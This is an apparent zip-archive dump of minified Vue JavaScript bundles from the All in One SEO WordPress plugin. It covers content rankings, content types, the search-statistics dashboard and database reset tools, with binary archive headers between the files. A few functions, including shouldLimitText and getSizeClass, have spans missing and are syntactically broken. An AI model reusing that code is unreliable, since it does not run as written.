a(),b("div",H,[n(r),n(p,{"cta-link":s.$links.getPricingUrl("search-statistics","search-statistics-upsell","content-rankings"),"button-text":t.strings.ctaButtonText,"learn-more-link":s.$links.getUpsellUrl("search-statistics","content-rankings",s.$isPro?"pricing":"liteUpgrade"),"feature-list":[t.strings.feature1,t.strings.feature2,t.strings.feature3,t.strings.feature4],"align-top":"","hide-bonus":!c.licenseStore.isUnlicensed},{"header-text":o(()=>[m(l(t.strings.ctaHeader),1)]),description:o(()=>[n(i,{"core-feature":["search-statistics","content-rankings"]}),m(" "+l(t.strings.ctaDescription),1)]),_:1},8,["cta-link","button-text","learn-more-link","feature-list","hide-bonus"])])}const S=d(F,[["render",z]]),I={mixins:[A],components:{ContentRankings:S,Lite:S}},M={class:"aioseo-search-statistics-content-rankings"};function O(s,h,g,c,t,f){const r=e("content-rankings",!0),i=e("lite");return a(),b("div",M,[s.shouldShowMain("search-statistics","content-rankings")?(a(),_(r,{key:0})):y("",!0),s.shouldShowUpgrade("search-statistics","content-rankings")||s.shouldShowLite?(a(),_(i,{key:1})):y("",!0)])}const St=d(I,[["render",O]]);export{St as default}; PKÉ—[í2ê¤99@all-in-one-seo-pack/dist/Lite/assets/js/ContentTypes.3LvUnB5B.jsnu„[µü¤import{f as A,a as T,u as j,e as w}from"./links.CKSg78-h.js";import{A as D,T as B}from"./TitleDescription.IMeljFtb.js";import{C as $}from"./Card.C6Yzm1Gr.js";import{C as F}from"./Tabs.Cl9YKSoz.js";import{C as L}from"./Tooltip.DcUmvaHX.js";import{C as b,S as q}from"./Schema.HQyzDZRq.js";import{y as i,o as n,c as g,l as _,d as S,F as P,L as I,m as a,a as c,I as M,E as f,t as l,D as u,x as N,T as O}from"./vue.esm-bundler.DzelZkHk.js";import{_ as C}from"./_plugin-vue_export-helper.BN1snXvA.js";import{P as V}from"./PostTypes.Cef6XkQ_.js";import{a as U}from"./index.DX4OhBfI.js";import"./default-i18n.BtxsUzQk.js";import"./isArrayLikeObject.CkjpbQo7.js";import"./JsonValues.D25FTfEu.js";import"./MaxCounts.DHV7qSQX.js";import"./RadioToggle.XiBFFWmC.js";import"./Caret.Cuasz9Up.js";import"./ProBadge.Dgq0taM8.js";import"./RobotsMeta.DjWj_HSz.js";import"./Checkbox.CfGJSeWE.js";import"./Checkmark.Du5wcsnR.js";import"./Row.ou4tdPuA.js";import"./SettingsRow.B0N4hwjp.js";import"./tags.BOsOOXAU.js";import"./Tags.BcJqtOJO.js";import"./postSlug.D1i5fFFO.js";import"./metabox.BW1QyeRU.js";import"./cleanForSlug.C_GG_Tvc.js";import"./toString.EVG10Qqs.js";import"./_baseTrim.BYZhh0MR.js";import"./_stringToArray.DnK4tKcY.js";import"./get.CmvQfcJ_.js";import"./GoogleSearchPreview.C5aCQaFX.js";import"./strings.gPxlDykU.js";import"./isString.Dmb68Xbt.js";import"./constants.DARe-ccJ.js";import"./HtmlTagsEditor.DRjNQQYX.js";import"./Editor.lV8823Bb.js";import"./UnfilteredHtml.D-19NKqQ.js";import"./Slide.BfXXFx9A.js";import"./TruSeoScore.-L7x872T.js";import"./Ellipse.HvxcRElJ.js";import"./Information.Dx9dnFtu.js";import"./Textarea.BirUpna9.js";import"./Blur.B433XVqJ.js";import"./Index.Ck0NNxBQ.js";const z={setup(){return{licenseStore:A()}},components:{CustomFields:b,CustomFieldsLite:b},props:{type:{type:String,required:!0},object:{type:Object,required:!0},options:{type:Object,required:!0},showBulk:Boolean}},E={class:"aioseo-sa-ct-custom-fields-view"};function R(t,r,o,s,m,p){const d=i("custom-fields",!0),h=i("custom-fields-lite");return n(),g("div",E,[s.licenseStore.isUnlicensed?S("",!0):(n(),_(d,{key:0,type:o.type,object:o.object,options:o.options,"show-bulk":o.showBulk},null,8,["type","object","options","show-bulk"])),s.licenseStore.isUnlicensed?(n(),_(h,{key:1,type:o.type,object:o.object,options:o.options,"show-bulk":o.showBulk},null,8,["type","object","options","show-bulk"])):S("",!0)])}const Q=C(z,[["render",R]]),W={setup(){return{optionsStore:T(),rootStore:j(),settingsStore:w()}},components:{Advanced:D,CoreCard:$,CoreMainTabs:F,CoreTooltip:L,CustomFields:Q,Schema:q,SvgCircleQuestionMark:U,TitleDescription:B},mixins:[V],data(){return{internalDebounce:null,strings:{label:this.$t.__("Label:",this.$td),name:this.$t.__("Slug:",this.$td)},tabs:[{slug:"title-description",name:this.$t.__("Title & Description",this.$td),access:"aioseo_search_appearance_settings",pro:!1},{slug:"schema",name:this.$t.__("Schema Markup",this.$td),access:"aioseo_search_appearance_settings",pro:!0},{slug:"custom-fields",name:this.$t.__("Custom Fields",this.$td),access:"aioseo_search_appearance_settings",pro:!0},{slug:"advanced",name:this.$t.__("Advanced",this.$td),access:"aioseo_search_appearance_settings",pro:!1}]}},computed:{postTypes(){return this.rootStore.aioseo.postData.postTypes.filter(t=>t.name!=="attachment")}},methods:{processChangeTab(t,r){this.internalDebounce||(this.internalDebounce=!0,this.settingsStore.changeTab({slug:`${t}SA`,value:r}),setTimeout(()=>{this.internalDebounce=!1},50))},getPostIconClass(t){const r="dashicons-admin-post";return t!=null&&t.startsWith("dashicons-awb-")?r:t||r}}},G={class:"aioseo-search-appearance-content-types"},H={class:"aioseo-description"},J=c("br",null,null,-1),K=c("br",null,null,-1);function X(t,r,o,s,m,p){const d=i("svg-circle-question-mark"),h=i("core-tooltip"),y=i("core-main-tabs"),k=i("core-card");return n(),g("div",G,[(n(!0),g(P,null,I(p.postTypes,(e,v)=>(n(),_(k,{key:v,slug:`${e.name}SA`},{header:a(()=>[c("div",{class:M(["icon dashicons",p.getPostIconClass(e.icon)])},null,2),f(" "+l(e.label)+" ",1),u(h,{"z-index":"99999"},{tooltip:a(()=>[c("div",H,[f(l(m.strings.label)+" ",1),c("strong",null,l(e.label),1),J,f(" "+l(m.strings.name)+" ",1),c("strong",null,l(e.name),1),K])]),default:a(()=>[u(d)]),_:2},1024)]),tabs:a(()=>[u(y,{tabs:m.tabs,showSaveButton:!1,active:s.settingsStore.settings.internalTabs[`${e.name}SA`],internal:"",onChanged:x=>p.processChangeTab(e.name,x)},null,8,["tabs","active","onChanged"])]),default:a(()=>[u(O,{name:"route-fade",mode:"out-in"},{default:a(()=>[(n(),_(N(s.settingsStore.settings.internalTabs[`${e.name}SA`]),{object:e,separator:s.optionsStore.options.searchAppearance.global.separator,options:s.optionsStore.dynamicOptions.searchAppearance.postTypes[e.name],type:"postTypes"},null,8,["object","separator","options"]))]),_:2},1024)]),_:2},1032,["slug"]))),128))])}const Et=C(W,[["render",X]]);export{Et as default}; PKÉ—[·²ÂDÐÐ7all-in-one-seo-pack/dist/Lite/assets/js/Cta.DyOwTi75.jsnu„[µü¤import{o as n,c as o}from"./vue.esm-bundler.DzelZkHk.js";import{_ as t}from"./_plugin-vue_export-helper.BN1snXvA.js";const r={};function c(e,s){return n(),o("div")}const i=t(r,[["render",c]]);export{i as C}; PKÉ—[LÍM›œ0œ0=all-in-one-seo-pack/dist/Lite/assets/js/Dashboard.C4r3OD2M.jsnu„[µü¤import{B as L,f as O}from"./links.CKSg78-h.js";import{y as e,o as a,c as d,D as t,m as o,a as c,d as w,I as b,t as h,F as C,L as U,l as y,E as v}from"./vue.esm-bundler.DzelZkHk.js";import{_ as g}from"./_plugin-vue_export-helper.BN1snXvA.js";import{C as D}from"./Blur.B433XVqJ.js";import{C as E}from"./Card.C6Yzm1Gr.js";import{C as z}from"./Tabs.Cl9YKSoz.js";import{C as F}from"./Overview.BnN5s2e9.js";import{G,a as W}from"./Row.ou4tdPuA.js";import{K as N}from"./KeywordsGraph.Bt9ueMhV.js";import{S as A}from"./SeoStatisticsOverview.KbbpDN60.js";import{S as I}from"./List.Dw8hZraa.js";import{S as j}from"./Statistics.CP5lE97B.js";import{d as T}from"./isArrayLikeObject.CkjpbQo7.js";import{b as Q}from"./Caret.Cuasz9Up.js";import{C as Y}from"./Tooltip.DcUmvaHX.js";import{S as J,L as X}from"./LicenseConditions.YKPkrz3j.js";import{P as tt}from"./PostsTable.BrGduOYW.js";import{C as st}from"./Index.Ck0NNxBQ.js";import{R as et}from"./RequiredPlans.BWoa4M_T.js";import"./default-i18n.BtxsUzQk.js";import"./index.DX4OhBfI.js";import"./Slide.BfXXFx9A.js";import"./TruSeoScore.-L7x872T.js";import"./Ellipse.HvxcRElJ.js";import"./Information.Dx9dnFtu.js";import"./DonutChartWithLegend.BDrgOxPz.js";import"./AnimatedNumber.BZqhDXvl.js";import"./numbers.ursUutt1.js";import"./_arrayEach.Fgt6pfHj.js";import"./_getTag.0B4_HiWU.js";import"./vue.esm-bundler.v8OKKE5o.js";import"./license.8zyTf6Rb.js";import"./upperFirst.Cx8cdEgZ.js";import"./_stringToArray.DnK4tKcY.js";import"./toString.EVG10Qqs.js";import"./WpTable.EicK-ih4.js";import"./ScoreButton.Di04Mqf2.js";import"./Table.B2KnjpXq.js";import"./IndexStatus.DWPPjohw.js";import"./PostTypes.Cef6XkQ_.js";import"./constants.DARe-ccJ.js";import"./addons.Bhqo_sme.js";const ot={data(){return{strings:{openReport:this.$t.sprintf(this.$t.__("Open Report %1$s",this.$td),"")}}},props:{buttonTarget:String,query:Object}},rt={key:0,class:"aioseo-card-footer"},it=["innerHTML"];function nt(r,l,f,_,s,i){const p=e("router-link");return f.buttonTarget?(a(),d("div",rt,[t(p,{to:{name:f.buttonTarget,query:f.query}},{default:o(()=>[c("span",{innerHTML:s.strings.openReport},null,8,it)]),_:1},8,["to"])])):w("",!0)}const at=g(ot,[["render",nt]]),ct={},dt={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 21 14",class:"aioseo-query"},lt=c("path",{d:"M5.25 3.07812H0.25V1.07812H5.25V3.07812ZM5.25 6.07812H0.25V8.07812H5.25V6.07812ZM18.84 13.0781L15.01 9.24813C14.21 9.76813 13.27 10.0781 12.25 10.0781C9.49 10.0781 7.25 7.83813 7.25 5.07812C7.25 2.31813 9.49 0.078125 12.25 0.078125C15.01 0.078125 17.25 2.31813 17.25 5.07812C17.25 6.09812 16.94 7.03813 16.42 7.82812L20.25 11.6681L18.84 13.0781ZM15.25 5.07812C15.25 3.42812 13.9 2.07812 12.25 2.07812C10.6 2.07812 9.25 3.42812 9.25 5.07812C9.25 6.72813 10.6 8.07812 12.25 8.07812C13.9 8.07812 15.25 6.72813 15.25 5.07812ZM0.25 13.0781H10.25V11.0781H0.25V13.0781Z",fill:"currentColor"},null,-1),_t=[lt];function pt(r,l){return a(),d("svg",dt,_t)}const ut=g(ct,[["render",pt]]),ht={},mt={viewBox:"0 0 25 25",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-speed"},gt=c("path",{d:"M20.6292 8.64922L19.3992 10.4992C19.9924 11.6823 20.2828 12.9941 20.2444 14.3169C20.206 15.6398 19.84 16.9325 19.1792 18.0792H5.3192C4.46036 16.5893 4.10449 14.8623 4.30434 13.1543C4.50418 11.4462 5.24911 9.84805 6.42867 8.59665C7.60824 7.34525 9.15966 6.50727 10.8529 6.20692C12.5462 5.90657 14.2912 6.15986 15.8292 6.92922L17.6792 5.69922C15.7957 4.49144 13.5615 3.95023 11.3341 4.16216C9.10665 4.37409 7.01464 5.32692 5.39269 6.86823C3.77074 8.40955 2.71256 10.4503 2.38741 12.664C2.06227 14.8778 2.48895 17.1366 3.5992 19.0792C3.77371 19.3815 4.02428 19.6328 4.32603 19.8083C4.62777 19.9837 4.97017 20.0771 5.3192 20.0792H19.1692C19.5216 20.0806 19.8681 19.9889 20.1737 19.8133C20.4793 19.6377 20.733 19.3844 20.9092 19.0792C21.8306 17.4831 22.293 15.6635 22.2453 13.8212C22.1977 11.9789 21.6418 10.1855 20.6392 8.63922L20.6292 8.64922Z",fill:"currentColor"},null,-1),ft=c("path",{d:"M10.8405 15.49C11.0262 15.676 11.2468 15.8235 11.4896 15.9241C11.7324 16.0248 11.9926 16.0766 12.2555 16.0766C12.5183 16.0766 12.7786 16.0248 13.0214 15.9241C13.2642 15.8235 13.4847 15.676 13.6705 15.49L19.3305 7L10.8405 12.66C10.6545 12.8457 10.507 13.0663 10.4064 13.3091C10.3057 13.5519 10.2539 13.8122 10.2539 14.075C10.2539 14.3378 10.3057 14.5981 10.4064 14.8409C10.507 15.0837 10.6545 15.3043 10.8405 15.49Z",fill:"currentColor"},null,-1),wt=[gt,ft];function yt(r,l){return a(),d("svg",mt,wt)}const kt=g(ht,[["render",yt]]),Ct={},vt={viewBox:"0 0 21 17",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-web"},$t=c("path",{d:"M18.25 0.773438H2.25C1.15 0.773438 0.26 1.67344 0.26 2.77344L0.25 14.7734C0.25 15.8734 1.15 16.7734 2.25 16.7734H18.25C19.35 16.7734 20.25 15.8734 20.25 14.7734V2.77344C20.25 1.67344 19.35 0.773438 18.25 0.773438ZM2.25 5.77344H12.75V9.27344H2.25V5.77344ZM2.25 11.2734H12.75V14.7734H2.25V11.2734ZM18.25 14.7734H14.75V5.77344H18.25V14.7734Z",fill:"currentColor"},null,-1),St=[$t];function bt(r,l){return a(),d("svg",vt,St)}const Tt=g(Ct,[["render",bt]]),xt={setup(){return{searchStatisticsStore:L()}},components:{CoreLoader:Q,CoreTooltip:Y,Statistic:J},data(){return{strings:{keyword:this.$t.__("Keyword",this.$td),clicks:this.$t.__("Clicks",this.$td),noKeywords:this.$t.__("You don't have any keywords yet.",this.$td)}}},computed:{keywords(){var r,l;return(l=(r=this.searchStatisticsStore.data)==null?void 0:r.keywords)!=null&&l.topKeywords?this.searchStatisticsStore.data.keywords.topKeywords.slice(0,10):[]}},methods:{decodeHTMLEntities:T,shouldLimitText(r){return 60c("div",{key:n,class:"top-keywords-row"},[c("div",Mt,[i.keywords[n-1]?(a(),d(C,{key:0},[c("div",Vt,h(n)+". ",1),i.shouldLimitText(i.keywords[n-1].keyword)?(a(),y(p,{key:0},{tooltip:o(()=>[v(h(i.decodeHTMLEntities(i.keywords[n-1].keyword)),1)]),default:o(()=>[c("span",Rt,h(i.decodeHTMLEntities(i.keywords[n-1].keyword)),1)]),_:2},1024)):(a(),d("span",Bt,h(i.decodeHTMLEntities(i.keywords[n-1].keyword)),1)),t(m,{type:"clicks",total:i.keywords[n-1].clicks,difference:i.keywords[n-1].difference.clicks,showDifference:!1,showZeroValues:!0},null,8,["total","difference"])],64)):w("",!0)])])),64))],2)],64)):w("",!0),_.searchStatisticsStore.loading.keywords?(a(),y(u,{key:2,dark:""})):w("",!0)])}const Zt=g(xt,[["render",Kt]]),qt={setup(){return{searchStatisticsStore:L()}},components:{PostsTable:tt},data(){return{defaultPages:{rows:[]}}}};function Ot(r,l,f,_,s,i){var m,u,n;const p=e("posts-table");return a(),y(p,{posts:((n=(u=(m=_.searchStatisticsStore.data)==null?void 0:m.seoStatistics)==null?void 0:u.pages)==null?void 0:n.topPages)||s.defaultPages,columns:["row","postTitle","indexStatus","seoScore","clicks","impressions","position","diffPosition"],isLoading:_.searchStatisticsStore.loading.seoStatistics,"show-header":!1},null,8,["posts","isLoading"])}const Ut=g(qt,[["render",Ot]]),Dt={components:{CardFooter:at,CoreBlur:D,CoreCard:E,CoreMainTabs:z,CoreOverview:F,GridColumn:G,GridRow:W,KeywordsGraph:N,SeoStatisticsOverview:A,SvgList:I,SvgQuery:ut,SvgSpeed:kt,SvgStatistics:j,SvgWeb:Tt,TopKeywords:Zt,TopPages:Ut},data(){return{strings:{overallOptimizationCard:this.$t.__("Post Optimizations",this.$td),keywordsCard:this.$t.__("Keyword Rankings",this.$td),keywordPositionsCard:this.$t.__("Keyword Positions",this.$td),statisticsCard:this.$t.__("SEO Statistics",this.$td),postRankingCard:this.$t.__("Content Rankings",this.$td)},keywordsTabs:[{slug:"TopKeywords",name:this.$t.__("Top Keywords",this.$td)},{slug:"WinningLosingKeywords",name:this.$t.__("Winning / Losing",this.$td)}],postRankingTabs:[{slug:"TopPages",name:this.$t.__("Top Pages",this.$td)},{slug:"TopLosingPages",name:this.$t.__("Top Losing",this.$td)},{slug:"TopWinningPages",name:this.$t.__("Top Winning",this.$td)}]}}},Et={class:"aioseo-search-statistics-dashboard"};function zt(r,l,f,_,s,i){const p=e("svg-statistics"),m=e("seo-statistics-overview"),u=e("card-footer"),n=e("core-card"),H=e("svg-query"),$=e("core-main-tabs"),P=e("top-keywords"),k=e("grid-column"),M=e("svg-list"),V=e("keywords-graph"),R=e("svg-speed"),B=e("core-overview"),S=e("grid-row"),K=e("svg-web"),Z=e("top-pages"),q=e("core-blur");return a(),y(q,null,{default:o(()=>[c("div",Et,[t(S,null,{default:o(()=>[t(k,{md:"6"},{default:o(()=>[t(n,{class:"aioseo-seo-statistics-card",slug:"seoStatistics","header-text":s.strings.statisticsCard,toggles:!1,"no-slide":""},{"header-icon":o(()=>[t(p)]),default:o(()=>[t(m,{statistics:["impressions","clicks","ctr","position"]}),t(u)]),_:1},8,["header-text"]),t(n,{slug:"keywords","header-text":s.strings.keywordsCard,toggles:!1,"no-slide":""},{"header-icon":o(()=>[t(H)]),tabs:o(()=>[t($,{tabs:s.keywordsTabs,showSaveButton:!1,active:"TopKeywords",internal:""},null,8,["tabs"])]),default:o(()=>[t(P),t(u)]),_:1},8,["header-text"])]),_:1}),t(k,{md:"6"},{default:o(()=>[t(n,{slug:"keywordPositions","header-text":s.strings.keywordPositionsCard,toggles:!1,"no-slide":"",class:"aioseo-keyword-positions-card"},{"header-icon":o(()=>[t(M)]),default:o(()=>[t(V,{"legend-style":"simple"}),t(u)]),_:1},8,["header-text"]),t(n,{slug:"overallOptimization","header-text":s.strings.overallOptimizationCard,toggles:!1,"no-slide":""},{"header-icon":o(()=>[t(R)]),default:o(()=>[t(B),t(u)]),_:1},8,["header-text"])]),_:1})]),_:1}),t(S,null,{default:o(()=>[t(k,null,{default:o(()=>[t(n,{slug:"seoPostRanking","header-text":s.strings.postRankingCard,toggles:!1,"no-slide":""},{"header-icon":o(()=>[t(K)]),tabs:o(()=>[t($,{tabs:s.postRankingTabs,showSaveButton:!1,active:"TopPages",internal:""},null,8,["tabs"])]),default:o(()=>[t(Z)]),_:1},8,["header-text"])]),_:1})]),_:1})])]),_:1})}const Ft=g(Dt,[["render",zt]]),Gt={setup(){return{licenseStore:O()}},components:{Blur:Ft,Cta:st,RequiredPlans:et},data(){return{strings:{ctaButtonText:this.$t.__("Unlock Search Statistics",this.$td),ctaHeader:this.$t.sprintf(this.$t.__("Search Statistics is a %1$s Feature",this.$td),"PRO"),ctaDescription:this.$t.__("Connect your site to Google Search Console to receive insights on how content is being discovered. Identify areas for improvement and drive traffic to your website.",this.$td),thisFeatureRequires:this.$t.__("This feature requires one of the following plans:",this.$td),feature1:this.$t.__("Search traffic insights",this.$td),feature2:this.$t.__("Track page rankings",this.$td),feature3:this.$t.__("Track keyword rankings",this.$td),feature4:this.$t.__("Speed tests for individual pages/posts",this.$td)}}}},Wt={class:"aioseo-search-statistics-dashboard"};function Nt(r,l,f,_,s,i){const p=e("blur"),m=e("required-plans"),u=e("cta");return a(),d("div",Wt,[t(p),t(u,{"cta-link":r.$links.getPricingUrl("search-statistics","search-statistics-upsell","dashboard"),"button-text":s.strings.ctaButtonText,"learn-more-link":r.$links.getUpsellUrl("search-statistics","dashboard",r.$isPro?"pricing":"liteUpgrade"),"feature-list":[s.strings.feature1,s.strings.feature2,s.strings.feature3,s.strings.feature4],"align-top":"","hide-bonus":!_.licenseStore.isUnlicensed},{"header-text":o(()=>[v(h(s.strings.ctaHeader),1)]),description:o(()=>[t(m,{"core-feature":["search-statistics"]}),v(" "+h(s.strings.ctaDescription),1)]),_:1},8,["cta-link","button-text","learn-more-link","feature-list","hide-bonus"])])}const x=g(Gt,[["render",Nt]]),At={mixins:[X],components:{Dashboard:x,Lite:x}},It={class:"aioseo-search-statistics-dashboard"};function jt(r,l,f,_,s,i){const p=e("dashboard",!0),m=e("lite");return a(),d("div",It,[r.shouldShowMain("search-statistics")?(a(),y(p,{key:0})):w("",!0),r.shouldShowUpgrade("search-statistics")||r.shouldShowLite?(a(),y(m,{key:1})):w("",!0)])}const Os=g(At,[["render",jt]]);export{Os as default}; PKÉ—[ñÕmÆç4ç4Aall-in-one-seo-pack/dist/Lite/assets/js/DatabaseTools.BIGP5SPB.jsnu„[µü¤import{u as v,p as $,a as V,f as M}from"./links.CKSg78-h.js";import{l as D}from"./license.8zyTf6Rb.js";import{N as R}from"./Network.DMswTGP1.js";import{C as x}from"./Card.C6Yzm1Gr.js";import{T as O}from"./ToolsSettings.Cjw3TBMG.js";import{B as I}from"./Checkbox.CfGJSeWE.js";import{C as E,S as H}from"./Caret.Cuasz9Up.js";import{C as F}from"./Index.6gbvf_mk.js";import{C as z}from"./SettingsRow.B0N4hwjp.js";import{G as j,a as P}from"./Row.ou4tdPuA.js";import{y as a,o as n,c as m,D as r,m as o,l as p,E as d,t as l,d as g,a as u,F as Y,L as G,H as q,I as C}from"./vue.esm-bundler.DzelZkHk.js";import{_ as y}from"./_plugin-vue_export-helper.BN1snXvA.js";import{S as J}from"./Checkmark.Du5wcsnR.js";import{C as K}from"./Blur.B433XVqJ.js";import{C as Q}from"./Index.Ck0NNxBQ.js";import"./default-i18n.BtxsUzQk.js";import"./isArrayLikeObject.CkjpbQo7.js";import"./upperFirst.Cx8cdEgZ.js";import"./_stringToArray.DnK4tKcY.js";import"./toString.EVG10Qqs.js";import"./Tooltip.DcUmvaHX.js";import"./index.DX4OhBfI.js";import"./Slide.BfXXFx9A.js";import"./addons.Bhqo_sme.js";import"./allowed.B_mIy271.js";import"./constants.DARe-ccJ.js";const W={setup(){return{rootStore:v(),toolsStore:$()}},components:{BaseCheckbox:I,CoreAlert:E,CoreModal:F,CoreSettingsRow:z,GridColumn:j,GridRow:P,SvgClose:H},mixins:[O],props:{site:Object},data(){return{showSuccess:!1,showModal:!1,loading:!1,options:{},strings:{selectSettings:this.$t.__("Select Settings",this.$td),selectSettingsToReset:this.$t.__("Select settings that you would like to reset:",this.$td),resetSelectedSettings:this.$t.__("Reset Selected Settings to Default",this.$td),resetSuccess:this.$t.__("Your settings have been reset successfully!",this.$td),areYouSureReset:this.$t.__("Are you sure you want to reset the selected settings to default?",this.$td),actionCannotBeUndone:this.$t.sprintf(this.$t.__("This action cannot be undone. Before taking this action, we recommend that you make a %1$sfull website backup first%2$s.",this.$td),"",""),yesIHaveBackup:this.$t.__("Yes, I have a backup and want to reset the settings",this.$td),noBackup:this.$t.__("No, I need to make a backup",this.$td),allSettings:this.$t.sprintf(this.$t.__("All %1$s Settings",this.$td),"AIOSEO")}}},computed:{canReset(){if(this.rootStore.aioseo.data.isNetworkAdmin&&!this.site)return!1;const s=[];return Object.keys(this.options).forEach(t=>{s.push(this.options[t])}),!s.some(t=>t)}},methods:{noMakeBackup(){this.rootStore.navigate.scroll="aioseo-backup-settings",this.rootStore.navigate.highlight="aioseo-backup-settings",this.$router.push({name:"import-export"})},processResetSettings(){const s=[];this.options.all?this.toolsSettings.filter(t=>t.value!=="all").forEach(t=>{s.push(t.value)}):Object.keys(this.options).forEach(t=>{this.options[t]&&s.push(t)}),this.loading=!0,this.toolsStore.resetSettings({payload:s,siteId:this.site?this.site.blog_id:null}).then(()=>{this.showModal=!1,this.loading=!1,this.showSuccess=!0,this.options={},setTimeout(()=>{this.showSuccess=!1},5e3)})}}},X={class:"aioseo-core-reset-settings"},Z={class:"reset-settings"},ee=u("br",null,null,-1),te=u("br",null,null,-1),se={class:"aioseo-modal-body"},oe=["innerHTML"];function ie(s,t,w,c,e,i){const S=a("core-alert"),_=a("base-checkbox"),f=a("grid-column"),L=a("grid-row"),b=a("base-button"),k=a("core-settings-row"),B=a("svg-close"),U=a("core-modal");return n(),m("div",X,[r(k,{name:e.strings.selectSettings,class:"no-border"},{content:o(()=>[e.showSuccess?(n(),p(S,{key:0,class:"reset-success",type:"green"},{default:o(()=>[d(l(e.strings.resetSuccess),1)]),_:1})):g("",!0),u("div",Z,[d(l(e.strings.selectSettingsToReset)+" ",1),ee,te,r(L,{class:"settings"},{default:o(()=>[r(f,null,{default:o(()=>[r(_,{size:"medium",modelValue:e.options.all,"onUpdate:modelValue":t[0]||(t[0]=h=>e.options.all=h),disabled:c.rootStore.aioseo.data.isNetworkAdmin&&!w.site},{default:o(()=>[d(l(e.strings.allSettings),1)]),_:1},8,["modelValue","disabled"])]),_:1}),(n(!0),m(Y,null,G(s.toolsSettings,(h,A)=>(n(),p(f,{key:A,xl:"3",md:"4",sm:"6"},{default:o(()=>[e.options.all?g("",!0):(n(),p(_,{key:0,size:"medium",modelValue:e.options[h.value],"onUpdate:modelValue":N=>e.options[h.value]=N,disabled:c.rootStore.aioseo.data.isNetworkAdmin&&!w.site},{default:o(()=>[d(l(h.label),1)]),_:2},1032,["modelValue","onUpdate:modelValue","disabled"])),h.value!=="all"&&e.options.all?(n(),p(_,{key:1,size:"medium",modelValue:!0,disabled:""},{default:o(()=>[d(l(h.label),1)]),_:2},1024)):g("",!0)]),_:2},1024))),128))]),_:1}),r(b,{type:"gray",size:"medium",onClick:t[1]||(t[1]=h=>e.showModal=!0),disabled:i.canReset},{default:o(()=>[d(l(e.strings.resetSelectedSettings),1)]),_:1},8,["disabled"])])]),_:1},8,["name"]),r(U,{show:e.showModal,"no-header":"",onClose:t[4]||(t[4]=h=>e.showModal=!1),classes:["aioseo-core-reset-settings-modal"]},{body:o(()=>[u("div",se,[u("button",{class:"close",onClick:t[3]||(t[3]=q(h=>e.showModal=!1,["stop"]))},[r(B,{onClick:t[2]||(t[2]=h=>e.showModal=!1)})]),u("h3",null,l(e.strings.areYouSureReset),1),u("div",{class:"reset-description",innerHTML:e.strings.actionCannotBeUndone},null,8,oe),r(b,{type:"blue",size:"medium",onClick:i.processResetSettings,loading:e.loading},{default:o(()=>[d(l(e.strings.yesIHaveBackup),1)]),_:1},8,["onClick","loading"]),r(b,{type:"gray",size:"medium",onClick:i.noMakeBackup},{default:o(()=>[d(l(e.strings.noBackup),1)]),_:1},8,["onClick"])])]),_:1},8,["show"])])}const T=y(W,[["render",ie]]),re={setup(){return{optionsStore:V(),rootStore:v(),toolsStore:$()}},mixins:[R],components:{CoreCard:x,CoreResetSettings:T,CoreSettingsRow:z,SvgCheckmark:J},data(){return{site:null,selectedSite:null,clearedLogs:{badBotBlockerLogs:!1,redirectLogs:!1,logs404:!1},loadingLog:null,strings:{selectSite:this.$t.__("Select Site",this.$td),resetRestoreSettings:this.$t.__("Reset / Restore Settings",this.$td),logs:this.$t.__("Logs",this.$td),badBotBlockerLogs:this.$t.__("Bad Bot Blocker Logs",this.$td),cleared:this.$t.__("Cleared",this.$td),clearBadBotBlockerLogs:this.$t.__("Clear Bad Bot Blocker Logs",this.$td),logs404:this.$t.__("404 Logs",this.$td),clear404Logs:this.$t.__("Clear 404 Logs",this.$td),redirectLogs:this.$t.__("Redirect Logs",this.$td),clearRedirectLogs:this.$t.__("Clear Redirect Logs",this.$td),logsTooltip:this.$t.__(`Log sizes may fluctuate and not always be 100% accurate since the results can be cached. Also after clearing a log, it may not show as "0" since database tables also include additional information such as indexes that we don't clear.`,this.$td)}}},watch:{site(s){this.selectedSite=this.rootStore.aioseo.data.network.sites.sites.find(t=>this.getUniqueSiteId(t)===s.value)}},computed:{canReset(){const s=[];return Object.keys(this.options).forEach(t=>{s.push(this.options[t])}),!s.some(t=>t)},showLogs(){return!this.rootStore.aioseo.data.isNetworkAdmin&&(this.showBadBotBlockerLogs||this.rootStore.aioseo.data.logSizes.redirectLogs||this.rootStore.aioseo.data.logSizes.logs404)},showBadBotBlockerLogs(){return this.optionsStore.internalOptions.internal.deprecatedOptions.includes("badBotBlocker")},sites(){return this.getSites.filter(s=>!s.parentDomain).map(s=>({value:this.getUniqueSiteId(s),label:`${s.domain}${s.path}`}))}},methods:{getSizeClass(s){let t="green";return 262144e3{this.loadingLog=null,this.clearedLogs[s]=!0})},disabledLog(s){return!this.rootStore.aioseo.data.logSizes[s].original||this.clearedLogs[s]}}},ne={class:"aioseo-tools-database-tools"},ae={key:0},le={key:1},ce={class:"log-size"},de={key:0},ge={key:1},ue={class:"log-size"},_e={key:0},he={key:1},me={class:"log-size"};function pe(s,t,w,c,e,i){const S=a("base-select"),_=a("core-settings-row"),f=a("core-reset-settings"),L=a("core-card"),b=a("svg-checkmark"),k=a("base-button");return n(),m("div",ne,[r(L,{slug:"databaseTools","header-text":e.strings.resetRestoreSettings},{default:o(()=>[c.rootStore.aioseo.data.isNetworkAdmin?(n(),p(_,{key:0,name:e.strings.selectSite},{content:o(()=>[r(S,{size:"medium",modelValue:e.site,"onUpdate:modelValue":t[0]||(t[0]=B=>e.site=B),options:i.sites},null,8,["modelValue","options"])]),_:1},8,["name"])):g("",!0),r(f,{site:e.selectedSite},null,8,["site"])]),_:1},8,["header-text"]),i.showLogs?(n(),p(L,{key:0,slug:"databaseToolsLogs","header-text":e.strings.logs},{tooltip:o(()=>[d(l(e.strings.logsTooltip),1)]),default:o(()=>[c.rootStore.aioseo.data.logSizes.logs404?(n(),p(_,{key:0,name:e.strings.logs404,align:""},{content:o(()=>[r(k,{class:"clear-log",type:"gray",size:"medium",loading:e.loadingLog==="logs404",disabled:i.disabledLog("logs404"),onClick:t[1]||(t[1]=B=>i.processClearLog("logs404"))},{default:o(()=>[i.disabledLog("logs404")?(n(),m("span",ae,[r(b),d(" "+l(e.strings.cleared),1)])):g("",!0),i.disabledLog("logs404")?g("",!0):(n(),m("span",le,l(e.strings.clear404Logs),1))]),_:1},8,["loading","disabled"]),u("div",ce,[u("span",{class:C(["size-dot",i.getSizeClass(c.rootStore.aioseo.data.logSizes.logs404.original)])},null,2),d(" 